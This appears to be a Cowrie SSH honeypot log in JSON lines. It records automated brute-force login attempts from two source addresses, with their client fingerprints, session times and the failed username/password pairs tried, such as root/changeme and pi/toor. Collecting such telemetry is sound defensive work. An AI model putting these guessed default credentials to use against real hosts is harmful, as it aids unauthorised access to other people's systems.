{"eventid":"cowrie.login.failed","username":"root","password":"102030","message":"login attempt [root/102030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:58.825755Z","src_ip":"91.92.40.171","session":"f6c58b9a9b25","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:58.862267Z","src_ip":"91.92.40.171","session":"a69cf416ee7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:59.588787Z","src_ip":"91.92.40.171","session":"a69cf416ee7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":42324,"dst_ip":"159.203.135.109","dst_port":22,"session":"5bee09773678","protocol":"ssh","message":"New connection: 91.92.42.133:42324 (159.203.135.109:22) [session: 5bee09773678]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:00.456969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:00.461218Z","src_ip":"91.92.42.133","session":"5bee09773678","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:00.551036Z","src_ip":"91.92.42.133","session":"5bee09773678","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"changeme","message":"login attempt [root/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:00.921293Z","src_ip":"91.92.42.133","session":"5bee09773678","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.8","message":"Connection lost after 8.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:00.940889Z","src_ip":"91.92.40.171","session":"f6c58b9a9b25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:02.451077Z","src_ip":"91.92.42.133","session":"5bee09773678","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":53336,"dst_ip":"159.203.135.109","dst_port":22,"session":"39dd7fb6ce19","protocol":"ssh","message":"New connection: 91.92.40.171:53336 (159.203.135.109:22) [session: 39dd7fb6ce19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:02.792115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:02.854127Z","src_ip":"91.92.40.171","session":"39dd7fb6ce19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:02.938939Z","src_ip":"91.92.40.171","session":"39dd7fb6ce19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chenxi","password":"123456","message":"login attempt [chenxi/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:03.287788Z","src_ip":"91.92.40.171","session":"39dd7fb6ce19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"usuario","password":"usuario","message":"login attempt [usuario/usuario] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:03.637983Z","src_ip":"91.92.40.171","session":"a69cf416ee7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:04.602404Z","src_ip":"91.92.40.171","session":"39dd7fb6ce19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:05.403563Z","src_ip":"91.92.40.171","session":"a69cf416ee7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":55952,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f257db59085","protocol":"ssh","message":"New connection: 91.92.42.133:55952 (159.203.135.109:22) [session: 8f257db59085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:07.038174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:07.325524Z","src_ip":"91.92.42.133","session":"8f257db59085","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:07.328963Z","src_ip":"91.92.42.133","session":"8f257db59085","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":36804,"dst_ip":"159.203.135.109","dst_port":22,"session":"54c26660ed7b","protocol":"ssh","message":"New connection: 91.92.40.171:36804 (159.203.135.109:22) [session: 54c26660ed7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:08.500023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:08.513454Z","src_ip":"91.92.40.171","session":"54c26660ed7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:08.613597Z","src_ip":"91.92.40.171","session":"54c26660ed7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456","message":"login attempt [ftpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:08.862076Z","src_ip":"91.92.40.171","session":"54c26660ed7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedc","message":"login attempt [root/qazwsxedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:09.411608Z","src_ip":"91.92.42.133","session":"8f257db59085","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:09.951968Z","src_ip":"91.92.40.171","session":"54c26660ed7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:10.818559Z","src_ip":"91.92.42.133","session":"8f257db59085","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":36852,"dst_ip":"159.203.135.109","dst_port":22,"session":"b45b88b4a7f2","protocol":"ssh","message":"New connection: 91.92.40.171:36852 (159.203.135.109:22) [session: b45b88b4a7f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:13.880685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:14.147115Z","src_ip":"91.92.40.171","session":"b45b88b4a7f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:14.150251Z","src_ip":"91.92.40.171","session":"b45b88b4a7f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":56002,"dst_ip":"159.203.135.109","dst_port":22,"session":"01b6800ce4f2","protocol":"ssh","message":"New connection: 91.92.42.133:56002 (159.203.135.109:22) [session: 01b6800ce4f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:14.348711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:14.384433Z","src_ip":"91.92.42.133","session":"01b6800ce4f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:14.460825Z","src_ip":"91.92.42.133","session":"01b6800ce4f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd","message":"login attempt [ubuntu/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:14.886205Z","src_ip":"91.92.42.133","session":"01b6800ce4f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"toor","message":"login attempt [pi/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:15.002638Z","src_ip":"91.92.40.171","session":"b45b88b4a7f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:16.033847Z","src_ip":"91.92.42.133","session":"01b6800ce4f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:16.144661Z","src_ip":"91.92.40.171","session":"b45b88b4a7f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":41676,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb85950b1516","protocol":"ssh","message":"New connection: 91.92.40.171:41676 (159.203.135.109:22) [session: bb85950b1516]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:19.336925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:19.455653Z","src_ip":"91.92.40.171","session":"bb85950b1516","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:19.459616Z","src_ip":"91.92.40.171","session":"bb85950b1516","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123456","message":"login attempt [dev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:19.986860Z","src_ip":"91.92.40.171","session":"bb85950b1516","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":60416,"dst_ip":"159.203.135.109","dst_port":22,"session":"22fcef06100d","protocol":"ssh","message":"New connection: 91.92.42.133:60416 (159.203.135.109:22) [session: 22fcef06100d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:21.088587Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:21.157804Z","src_ip":"91.92.40.171","session":"bb85950b1516","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:21.194518Z","src_ip":"91.92.42.133","session":"22fcef06100d","protocol":"ssh"}
